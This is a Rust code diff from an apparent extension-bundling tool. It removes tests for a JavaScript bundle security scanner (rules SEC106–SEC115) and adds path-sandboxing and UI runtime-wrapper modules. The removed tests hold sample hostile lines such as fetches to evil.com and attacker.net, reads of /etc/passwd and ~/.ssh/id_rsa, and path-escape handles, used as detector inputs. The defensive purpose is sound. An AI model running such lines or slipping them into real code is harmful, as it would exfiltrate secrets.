scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC106"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec106_require_cache_assignment() { - let content = r#"var Module = require("module"); require.cache["key"] = null;"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC106"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec106_delete_require_cache() { - let content = r#"var Module = require("module"); delete require.cache;"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC106"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec106_bracket_load_override() { - let content = r#"var M = require("module"); Module["_load"] = function() {};"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC106"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec106_no_signal_skips_rule() { - let findings = scan_bundle(r#"Module._load = function() {};"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC106"), - "SEC106 should not fire without module import: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC107 — inspector module (two-pass) - // ----------------------------------------------------------------------- - - #[test] - fn sec107_require_inspector_with_open() { - let content = r#"var inspector = require("inspector"); inspector.open(9229);"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC107"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec107_require_node_inspector_with_wait() { - let content = r#"var inspector = require("node:inspector"); inspector.waitForDebugger();"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC107"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec107_esm_import_inspector_with_open() { - let content = r#"import inspector from "inspector"; inspector.open();"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC107"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec107_inspector_url() { - let content = r#"var inspector = require("inspector"); console.log(inspector.url());"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC107"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec107_bracket_open() { - let content = r#"var inspector = require("inspector"); inspector["open"](9229);"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC107"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec107_no_signal_skips_rule() { - let findings = scan_bundle(r#"inspector.open(9229);"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC107"), - "SEC107 should not fire without import: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC108 — external URLs (two-pass, warn) - // ----------------------------------------------------------------------- - - #[test] - fn sec108_require_https_with_url() { - // Use a trusted godaddy.com domain so SEC112 (block) does not also fire. - let content = r#"var https = require("https"); https.get("https://api.godaddy.com/v1/");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC108"), - "findings: {findings:?}" - ); - assert!(!is_blocked(&findings), "SEC108 should be warn, not block"); - } - - #[test] - fn sec108_import_axios_with_url() { - let content = r#"import axios from "axios"; axios.post("https://evil.com/data", {});"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC108"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec108_fetch_with_https_url() { - let content = r#"import { request } from "https"; fetch("https://api.example.com");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC108"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec108_http_url() { - let content = r#"var http = require("http"); http.get("http://example.com");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC108"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec108_new_url_constructor() { - let content = - r#"var http = require("http"); const u = new URL("https://api.example.com");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC108"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec108_no_signal_skips_rule() { - let findings = scan_bundle(r#"const url = "https://api.example.com";"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC108"), - "SEC108 should not fire without http/axios import: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC109 — large encoded blobs (warn, no signal) - // ----------------------------------------------------------------------- - - #[test] - fn sec109_large_base64_buffer_from() { - let b64 = "A".repeat(210); - let content = format!(r#"const x = Buffer.from("{b64}", "base64");"#); - let findings = scan_bundle(&content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC109"), - "findings: {findings:?}" - ); - // SEC113 (block) also fires on base64 content — just verify SEC109 itself is warn. - assert!( - findings - .iter() - .filter(|f| f.rule_id == "SEC109") - .all(|f| f.severity == Severity::Warn), - "SEC109 findings should have warn severity" - ); - } - - #[test] - fn sec109_large_base64_atob() { - let b64 = "B".repeat(210); - let content = format!(r#"const x = atob("{b64}");"#); - let findings = scan_bundle(&content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC109"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec109_large_hex_buffer_from() { - let hex = "a".repeat(410); - let content = format!(r#"const x = Buffer.from("{hex}", "hex");"#); - let findings = scan_bundle(&content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC109"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec109_short_base64_no_match() { - let b64 = "A".repeat(50); - let content = format!(r#"const x = Buffer.from("{b64}", "base64");"#); - let findings = scan_bundle(&content, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC109"), - "short base64 should not match SEC109: {findings:?}" - ); - } - - #[test] - fn sec109_short_hex_no_match() { - let hex = "a".repeat(100); - let content = format!(r#"const x = Buffer.from("{hex}", "hex");"#); - let findings = scan_bundle(&content, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC109"), - "short hex should not match SEC109: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC110 — sensitive fs/net/env ops (two-pass, warn) - // ----------------------------------------------------------------------- - - #[test] - fn sec110_require_net_with_connect() { - let content = r#"var net = require("net"); net.connect(80, "host");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC110"), - "findings: {findings:?}" - ); - assert!(!is_blocked(&findings), "SEC110 should be warn"); - } - - #[test] - fn sec110_require_node_net_with_create_connection() { - let content = r#"var net = require("node:net"); net.createConnection(80, "host");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC110"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec110_import_fs_with_process_env_bracket() { - let content = r#"import fs from "fs"; const key = process.env["API_KEY"];"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC110"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec110_process_env_dot_notation() { - let content = r#"var fs = require("fs"); const val = process.env.SECRET;"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC110"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec110_etc_passwd() { - let content = r#"var fs = require("fs"); fs.readFileSync("/etc/passwd");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC110"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec110_ssh_path() { - let content = r#"var fs = require("fs"); fs.readFileSync("~/.ssh/id_rsa");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC110"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec110_readfile_env() { - let content = r#"var fs = require("fs"); fs.readFile("config.env", "utf8", cb);"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC110"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec110_readfile_sync_env() { - let content = r#"var fs = require("node:fs"); fs.readFileSync("app.env");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC110"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec110_no_signal_skips_rule() { - let findings = scan_bundle(r#"const val = process.env.KEY;"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC110"), - "SEC110 should not fire without net/fs import: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC111 — destructive fs operations (two-pass, block) - // ----------------------------------------------------------------------- - - #[test] - fn sec111_require_fs_with_unlink() { - let content = r#"var fs = require("fs"); fs.unlink("/tmp/file", cb);"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC111"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec111_unlink_sync() { - let content = r#"var fs = require("node:fs"); fs.unlinkSync("/tmp/file");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC111"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec111_rmdir() { - let content = r#"var fs = require("fs"); fs.rmdir("/tmp/dir", cb);"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC111"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec111_rm_via_esm_import() { - let content = r#"import fs from "fs"; fs.rm("/tmp/dir", { recursive: true }, cb);"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC111"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec111_fs_promises_with_unlink() { - let content = r#"import { unlink } from "fs/promises"; await unlink("/tmp/file");"#; - let findings = scan_bundle(content, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC111"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec111_no_signal_skips_rule() { - let findings = scan_bundle(r#"fs.unlink("/tmp/file", cb);"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC111"), - "SEC111 should not fire without fs import: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC112 — untrusted domain requests (no signal, block) - // ----------------------------------------------------------------------- - - #[test] - fn sec112_untrusted_domain_blocked() { - let findings = scan_bundle(r#"fetch("https://evil.com/steal");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC112"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec112_http_untrusted_blocked() { - let findings = scan_bundle(r#"fetch("http://attacker.net/data");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC112"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec112_trusted_godaddy_subdomain_allowed() { - let findings = scan_bundle( - r#"fetch("https://api.godaddy.com/v1/products");"#, - "test.mjs", - ); - assert!( - findings.iter().all(|f| f.rule_id != "SEC112"), - "godaddy.com subdomain should be trusted: {findings:?}" - ); - } - - #[test] - fn sec112_trusted_godaddy_root_allowed() { - let findings = scan_bundle(r#"fetch("https://godaddy.com/path");"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC112"), - "godaddy.com root should be trusted: {findings:?}" - ); - } - - #[test] - fn sec112_trusted_localhost_with_port_allowed() { - let findings = scan_bundle(r#"fetch("https://localhost:3000/api");"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC112"), - "localhost should be trusted: {findings:?}" - ); - } - - #[test] - fn sec112_trusted_127_0_0_1_allowed() { - let findings = scan_bundle(r#"fetch("http://127.0.0.1/api");"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC112"), - "127.0.0.1 should be trusted: {findings:?}" - ); - } - - #[test] - fn sec112_godaddy_lookalike_blocked() { - let findings = scan_bundle(r#"fetch("https://godaddy.com.evil.net/");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC112"), - "godaddy.com.evil.net should not be trusted: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC113 — any encoded payload (no signal, block) - // ----------------------------------------------------------------------- - - #[test] - fn sec113_atob_blocked() { - let findings = scan_bundle(r#"const x = atob("aGVsbG8=");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC113"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec113_buffer_from_base64_blocked() { - let findings = scan_bundle( - r#"const x = Buffer.from("shortval", "base64");"#, - "test.mjs", - ); - assert!( - findings.iter().any(|f| f.rule_id == "SEC113"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec113_buffer_from_hex_blocked() { - let findings = scan_bundle(r#"const x = Buffer.from("deadbeef", "hex");"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC113"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec113_buffer_from_utf8_allowed() { - let findings = scan_bundle( - r#"const x = Buffer.from("hello world", "utf8");"#, - "test.mjs", - ); - assert!( - findings.iter().all(|f| f.rule_id != "SEC113"), - "utf8 encoding should not match SEC113: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC114 — debugger statement (no signal, block) - // ----------------------------------------------------------------------- - - #[test] - fn sec114_debugger_blocked() { - let findings = scan_bundle("function x() { debugger; return 1; }", "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC114"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec114_debugger_word_boundary() { - let findings = scan_bundle(r#"const debuggerMode = true;"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC114"), - "debuggerMode should not match SEC114: {findings:?}" - ); - } - - // ----------------------------------------------------------------------- - // SEC115 — dynamic require/import (no signal, block) - // ----------------------------------------------------------------------- - - #[test] - fn sec115_dynamic_require_blocked() { - let findings = scan_bundle(r#"const m = require(userInput);"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC115"), - "findings: {findings:?}" - ); - assert!(is_blocked(&findings)); - } - - #[test] - fn sec115_dynamic_import_blocked() { - let findings = scan_bundle(r#"const m = await import(dynamicPath);"#, "test.mjs"); - assert!( - findings.iter().any(|f| f.rule_id == "SEC115"), - "findings: {findings:?}" - ); - } - - #[test] - fn sec115_static_require_allowed() { - let findings = scan_bundle(r#"const m = require("./module");"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC115"), - "static string require should not match SEC115: {findings:?}" - ); - } - - #[test] - fn sec115_static_import_allowed() { - let findings = scan_bundle(r#"const m = await import("./module");"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC115"), - "static string import should not match SEC115: {findings:?}" - ); - } - - #[test] - fn sec115_import_meta_not_matched() { - let findings = scan_bundle(r#"const url = import.meta.url;"#, "test.mjs"); - assert!( - findings.iter().all(|f| f.rule_id != "SEC115"), - "import.meta.url should not match SEC115: {findings:?}" - ); - } -} +pub use security::{is_blocked, scan_bundle}; +pub use types::{BundleCleanup, BundleOptions, ExtensionType, Severity}; +// `BundleResult` and `Finding` are part of the module's public surface (returned +// from `bundle_extension` / `scan_bundle`) but no caller currently names them via +// `crate::extension::…`, so the plain re-export would be flagged as unused. +#[allow(unused_imports)] +pub use types::{BundleResult, Finding}; diff --git a/rust/src/extension/runtime_wrapper.rs b/rust/src/extension/runtime_wrapper.rs new file mode 100644 index 0000000..2ed2d6c --- /dev/null +++ b/rust/src/extension/runtime_wrapper.rs @@ -0,0 +1,112 @@ +use std::path::{Path, PathBuf}; + +use super::sandbox::repo_root_from_cwd; +use super::types::ExtensionType; + +// --------------------------------------------------------------------------- +// UI extension runtime wrapper generation +// --------------------------------------------------------------------------- + +/// Absolute path suitable for embedding in the UI runtime wrapper import. +/// Relative sources must not be resolved against the temp wrapper location. +pub(super) async fn absolute_entry_path(source_path: &Path) -> PathBuf { + if source_path.is_absolute() { + return tokio::fs::canonicalize(source_path) + .await + .unwrap_or_else(|_| source_path.to_path_buf()); + } + let joined = repo_root_from_cwd().join(source_path); + tokio::fs::canonicalize(&joined).await.unwrap_or(joined) +} + +/// True for embed/checkout — they need the UI runtime registration wrapper. +pub(super) fn should_use_ui_extension_runtime_wrapper(ext_type: ExtensionType) -> bool { + matches!(ext_type, ExtensionType::Embed | ExtensionType::Checkout) +} + +/// Synthetic entry that imports the user module and registers it with +/// `globalThis.GoDaddyUiExtensions`. +/// +/// `entry_path` must be absolute so esbuild resolves it from the temp wrapper +/// file location. +pub(super) fn create_ui_extension_runtime_wrapper(entry_path: &Path) -> String { + let entry = entry_path.to_string_lossy(); + format!( + r#"import * as userModule from {entry:?}; + +function resolveContract() {{ + if (typeof userModule.mount === "function") {{ + return userModule; + }} + + const defaultExport = userModule.default; + const candidate = typeof defaultExport === "function" + ? defaultExport() + : defaultExport; + + if (!candidate || typeof candidate.mount !== "function") {{ + throw new Error("UI extension must export mount or a default contract/factory."); + }} + + return candidate; +}} + +const contract = resolveContract(); +const registry = globalThis.GoDaddyUiExtensions; + +if (!registry || typeof registry.register !== "function") {{ + throw new Error("UI extension runtime registry is not available."); +}} + +registry.register(contract); +"# + ) +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + + #[tokio::test] + async fn ui_wrapper_embeds_absolute_entry_path() { + let root = tempfile::tempdir().expect("temp"); + let entry = root.path().join("src").join("index.ts"); + std::fs::create_dir_all(entry.parent().expect("parent")).expect("mkdir"); + std::fs::write(&entry, "export function mount() {}").expect("write"); + let abs = absolute_entry_path(&entry).await; + assert!(abs.is_absolute(), "{abs:?}"); + let wrapper = create_ui_extension_runtime_wrapper(&abs); + assert!( + wrapper.contains(&abs.to_string_lossy().replace('\\', "\\\\")) + || wrapper.contains(abs.to_string_lossy().as_ref()), + "wrapper should import absolute path: {wrapper}" + ); + } + + #[test] + fn ui_runtime_wrapper_only_for_embed_and_checkout() { + assert!(should_use_ui_extension_runtime_wrapper( + ExtensionType::Embed + )); + assert!(should_use_ui_extension_runtime_wrapper( + ExtensionType::Checkout + )); + assert!(!should_use_ui_extension_runtime_wrapper( + ExtensionType::Blocks + )); + } + + #[test] + fn ui_runtime_wrapper_registers_contract() { + let wrapper = + create_ui_extension_runtime_wrapper(Path::new("/path/to/extension/src/index.ts")); + assert!(wrapper.contains("import * as userModule from")); + assert!(wrapper.contains("registry.register(contract)")); + assert!(wrapper.contains("GoDaddyUiExtensions")); + assert!(wrapper.contains(r#"typeof candidate.mount !== "function""#)); + } +} diff --git a/rust/src/extension/sandbox.rs b/rust/src/extension/sandbox.rs new file mode 100644 index 0000000..e8b8708 --- /dev/null +++ b/rust/src/extension/sandbox.rs @@ -0,0 +1,513 @@ +use std::path::{Path, PathBuf}; + +// --------------------------------------------------------------------------- +// Path normalization / sandboxing helpers +// --------------------------------------------------------------------------- + +/// Lexically normalize `.` / `..` without requiring the path to exist on disk. +pub(super) fn normalize_path(path: &Path) -> PathBuf { + use std::path::Component; + let mut out = PathBuf::new(); + for component in path.components() { + match component { + Component::Prefix(p) => out.push(p.as_os_str()), + Component::RootDir => out.push(component.as_os_str()), + Component::CurDir => {} + Component::ParentDir => { + out.pop(); + } + Component::Normal(c) => out.push(c), + } + } + out +} + +pub(crate) fn repo_root_from_cwd() -> PathBuf { + std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")) +} + +fn invalid_handle_path(handle: &str) -> String { + format!( + "Invalid extension handle path: {handle}. \ + Extension directories must stay within ./extensions." + ) +} + +fn invalid_source_path(extension_name: &str, source: &str) -> String { + format!( + "Invalid extension source path for '{extension_name}': {source}. \ + Source files must stay within the extension directory." + ) +} + +/// True when `candidate` is `base` or a descendant. +/// +/// Comparison is ASCII case-insensitive so manifests that mix handle casing +/// with a repo-relative `extensions/{handle}/…` source still resolve on +/// case-insensitive volumes (default macOS / Windows). +fn is_path_within(base: &Path, candidate: &Path) -> bool { + strip_prefix_ignore_ascii_case(candidate, base).is_some() +} + +/// Like [`Path::strip_prefix`], but component matching ignores ASCII case. +fn strip_prefix_ignore_ascii_case(path: &Path, prefix: &Path) -> Option { + let path = normalize_path(path); + let prefix = normalize_path(prefix); + let path_comps: Vec<_> = path.components().collect(); + let prefix_comps: Vec<_> = prefix.components().collect(); + if path_comps.len() < prefix_comps.len() { + return None; + } + for (p, pre) in path_comps.iter().zip(prefix_comps.iter()) { + if !components_eq_ignore_ascii_case(p, pre) { + return None; + } + } + let mut out = PathBuf::new(); + for component in &path_comps[prefix_comps.len()..] { + out.push(component.as_os_str()); + } + Some(out) +} + +fn components_eq_ignore_ascii_case( + a: &std::path::Component<'_>, + b: &std::path::Component<'_>, +) -> bool { + use std::path::Component; + match (a, b) { + (Component::Normal(a), Component::Normal(b)) => a.eq_ignore_ascii_case(b), + _ => a == b, + } +} + +/// Walk `candidate` under `root`, matching each path segment against an existing +/// directory while ignoring ASCII case. Used so a handle like `Foo/Bar` still +/// finds `extensions/foo/bar` on case-sensitive volumes. +/// +/// Falls back to `candidate` when any segment is missing (lexical path kept for +/// later "not found" errors). +fn dir_casing_on_disk(root: &Path, candidate: &Path) -> PathBuf { + let Some(rel) = strip_prefix_ignore_ascii_case(candidate, root) else { + return candidate.to_path_buf(); + }; + if rel.as_os_str().is_empty() { + return root.to_path_buf(); + } + if candidate.is_dir() { + return candidate.to_path_buf(); + } + + use std::path::Component; + let mut current = root.to_path_buf(); + for component in rel.components() { + let Component::Normal(name) = component else { + current.push(component.as_os_str()); + continue; + }; + let exact = current.join(name); + if exact.is_dir() { + current = exact; + continue; + } + let Ok(entries) = std::fs::read_dir(¤t) else { + return candidate.to_path_buf(); + }; + let matched = entries.flatten().find_map(|entry| { + (entry.file_name().eq_ignore_ascii_case(name) && entry.path().is_dir()) + .then(|| entry.path()) + }); + match matched { + Some(path) => current = path, + None => return candidate.to_path_buf(), + } + } + normalize_path(¤t) +} + +/// When `path` exists, follow symlinks and ensure the real path stays under +/// `base`. Post-canonicalize containment is case-sensitive. +fn enforce_sandbox_realpath( + base: &Path, + path: &Path, + outside_message: impl FnOnce() -> String, +) -> Result<(), String> { + if !path.exists() { + return Ok(()); + } + let canon_base = std::fs::canonicalize(base) + .map_err(|e| format!("failed to resolve path '{}': {e}", base.display()))?; + let canon_path = std::fs::canonicalize(path) + .map_err(|e| format!("failed to resolve path '{}': {e}", path.display()))?; + if canon_path.strip_prefix(&canon_base).is_err() { + return Err(outside_message()); + } + Ok(()) +} + +/// Resolve and sandbox extension paths: +/// - `extensionDir` = `repoRoot/extensions/{handle}` (must stay under `extensions/`) +/// - `sourcePath` must stay under that directory +/// +/// Also accepts a repo-relative `source` that already points inside the extension +/// dir (older Rust manifests that stored `extensions/{handle}/src/...`). +/// +/// When paths exist on disk, containment is re-checked after canonicalization so +/// symlinks cannot escape the sandbox. +pub(crate) fn resolve_extension_paths( + repo_root: &Path, + handle: &str, + source: &str, + extension_name: &str, +) -> Result<(PathBuf, PathBuf), String> { + let repo_root = if repo_root.is_absolute() { + normalize_path(repo_root) + } else { + normalize_path(&repo_root_from_cwd().join(repo_root)) + }; + let extensions_root = normalize_path(&repo_root.join("extensions")); + let extension_dir = normalize_path(&extensions_root.join(handle)); + if !is_path_within(&extensions_root, &extension_dir) { + return Err(invalid_handle_path(handle)); + } + let extension_dir = dir_casing_on_disk(&extensions_root, &extension_dir); + + let source_path = { + let source_path = Path::new(source); + if source_path.is_absolute() { + normalize_path(source_path) + } else { + let from_repo = normalize_path(&repo_root.join(source)); + match strip_prefix_ignore_ascii_case(&from_repo, &extension_dir) { + Some(rel) => normalize_path(&extension_dir.join(rel)), + None => normalize_path(&extension_dir.join(source)), + } + } + }; + if !is_path_within(&extension_dir, &source_path) { + return Err(invalid_source_path(extension_name, source)); + } + + enforce_sandbox_realpath(&extensions_root, &extension_dir, || { + invalid_handle_path(handle) + })?; + enforce_sandbox_realpath(&extension_dir, &source_path, || { + invalid_source_path(extension_name, source) + })?; + + Ok((extension_dir, source_path)) +} + +/// Ensure the resolved source path exists as a file. +pub(crate) fn require_extension_source_file( + handle: &str, + extension_name: &str, + source_path: &Path, +) -> Result<(), String> { + if source_path.is_file() { + return Ok(()); + } + Err(format!( + "Extension source file not found for '{extension_name}': {}. \ + Expected a file under extensions/{handle}/ (e.g. src/index.ts).", + source_path.display() + )) +} + +/// Validate handle/source against the deploy sandbox and return the source path +/// relative to `extensions/{handle}/` for writing into `godaddy.toml`. +/// +/// Accepts either a handle-relative path (`src/index.ts`) or a repo-relative path +/// already under the extension dir (`extensions/{handle}/src/index.ts`). Requires +/// the resolved file to exist so `platform app add` fails before deploy. +pub(crate) fn normalize_extension_source_for_config( + repo_root: &Path, + handle: &str, + source: &str, + extension_name: &str, +) -> Result { + let (extension_dir, source_path) = + resolve_extension_paths(repo_root, handle, source, extension_name)?; + require_extension_source_file(handle, extension_name, &source_path)?; + let relative = strip_prefix_ignore_ascii_case(&source_path, &extension_dir) + .ok_or_else(|| invalid_source_path(extension_name, source))?; + Ok(relative.to_string_lossy().replace('\\', "/")) +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn is_path_within_accepts_descendants_and_rejects_siblings() { + let base = Path::new("/repo/extensions"); + assert!(is_path_within(base, Path::new("/repo/extensions"))); + assert!(is_path_within(base, Path::new("/repo/extensions/widget"))); + assert!(is_path_within( + base, + Path::new("/repo/extensions/widget/src/index.ts") + )); + assert!(!is_path_within(base, Path::new("/repo/other"))); + assert!(!is_path_within( + base, + Path::new("/repo/extensions-extra/widget") + )); + } + + #[test] + fn resolve_extension_paths_accepts_handle_relative_source() { + let root = tempfile::tempdir().expect("temp root"); + let (ext_dir, source) = + resolve_extension_paths(root.path(), "widget", "src/index.ts", "Widget").expect("ok"); + assert_eq!( + ext_dir, + normalize_path(&root.path().join("extensions/widget")) + ); + assert_eq!( + source, + normalize_path(&root.path().join("extensions/widget/src/index.ts")) + ); + } + + #[test] + fn resolve_extension_paths_accepts_repo_relative_source_already_under_handle() { + let root = tempfile::tempdir().expect("temp root"); + let (ext_dir, source) = resolve_extension_paths( + root.path(), + "widget", + "extensions/widget/src/index.ts", + "Widget", + ) + .expect("ok"); + assert_eq!( + ext_dir, + normalize_path(&root.path().join("extensions/widget")) + ); + assert_eq!( + source, + normalize_path(&root.path().join("extensions/widget/src/index.ts")) + ); + } + + #[test] + fn resolve_extension_paths_accepts_repo_relative_source_with_handle_case_mismatch() { + let root = tempfile::tempdir().expect("temp root"); + let (ext_dir, source) = resolve_extension_paths( + root.path(), + "Widget", + "extensions/widget/src/index.ts", + "Widget", + ) + .expect("ok"); + // Prefer the handle's casing for the extension dir / source prefix. + assert_eq!( + ext_dir, + normalize_path(&root.path().join("extensions/Widget")) + ); + assert_eq!( + source, + normalize_path(&root.path().join("extensions/Widget/src/index.ts")) + ); + } + + #[test] + fn resolve_extension_paths_keeps_the_casing_that_exists_on_disk() { + let root = tempfile::tempdir().expect("temp root"); + let entry = root.path().join("extensions/widget/src/index.ts"); + std::fs::create_dir_all(entry.parent().expect("parent")).expect("mkdir"); + std::fs::write(&entry, "export {}").expect("write"); + + let (ext_dir, source) = resolve_extension_paths( + root.path(), + "Widget", + "extensions/widget/src/index.ts", + "Widget", + ) + .expect("ok"); + assert!(ext_dir.is_dir(), "should use the directory on disk"); + assert!(source.is_file(), "should resolve to the file on disk"); + + let relative = + normalize_extension_source_for_config(root.path(), "Widget", "src/index.ts", "Widget") + .expect("normalize"); + assert_eq!(relative, "src/index.ts"); + } + + #[test] + fn is_path_within_ignores_ascii_case() { + assert!(is_path_within( + Path::new("/repo/extensions/Widget"), + Path::new("/repo/extensions/widget/src/index.ts") + )); + assert!(!is_path_within( + Path::new("/repo/extensions/Widget"), + Path::new("/repo/extensions/other/src/index.ts") + )); + } + + #[test] + fn resolve_extension_paths_rejects_handle_escaping_extensions() { + let root = tempfile::tempdir().expect("temp root"); + let err = resolve_extension_paths(root.path(), "../evil", "src/index.ts", "Evil") + .expect_err("escape handle"); + assert!( + err.contains("Invalid extension handle path"), + "unexpected: {err}" + ); + } + + #[test] + fn resolve_extension_paths_rejects_source_escaping_extension_dir() { + let root = tempfile::tempdir().expect("temp root"); + let err = resolve_extension_paths(root.path(), "widget", "../../secret.ts", "Widget") + .expect_err("escape source"); + assert!( + err.contains("Invalid extension source path for 'Widget'"), + "unexpected: {err}" + ); + } + + #[test] + fn dir_casing_on_disk_walks_nested_handle_segments() { + let root = tempfile::tempdir().expect("temp root"); + let nested = root.path().join("extensions/foo/bar"); + std::fs::create_dir_all(&nested).expect("mkdir"); + // Sibling that must NOT be chosen when resolving nested handle foo/Bar. + std::fs::create_dir_all(root.path().join("extensions/bar")).expect("mkdir sibling"); + + let extensions_root = normalize_path(&root.path().join("extensions")); + let candidate = normalize_path(&extensions_root.join("Foo/Bar")); + let resolved = dir_casing_on_disk(&extensions_root, &candidate); + let resolved_canon = std::fs::canonicalize(&resolved).expect("resolved exists"); + let nested_canon = std::fs::canonicalize(&nested).expect("nested exists"); + assert_eq!(resolved_canon, nested_canon); + assert_ne!( + resolved_canon, + std::fs::canonicalize(root.path().join("extensions/bar")).expect("sibling"), + "must not pick the top-level extensions/bar sibling" + ); + } + + #[test] + fn resolve_extension_paths_nested_handle_does_not_pick_sibling() { + let root = tempfile::tempdir().expect("temp root"); + let entry = root.path().join("extensions/foo/bar/src/index.ts"); + 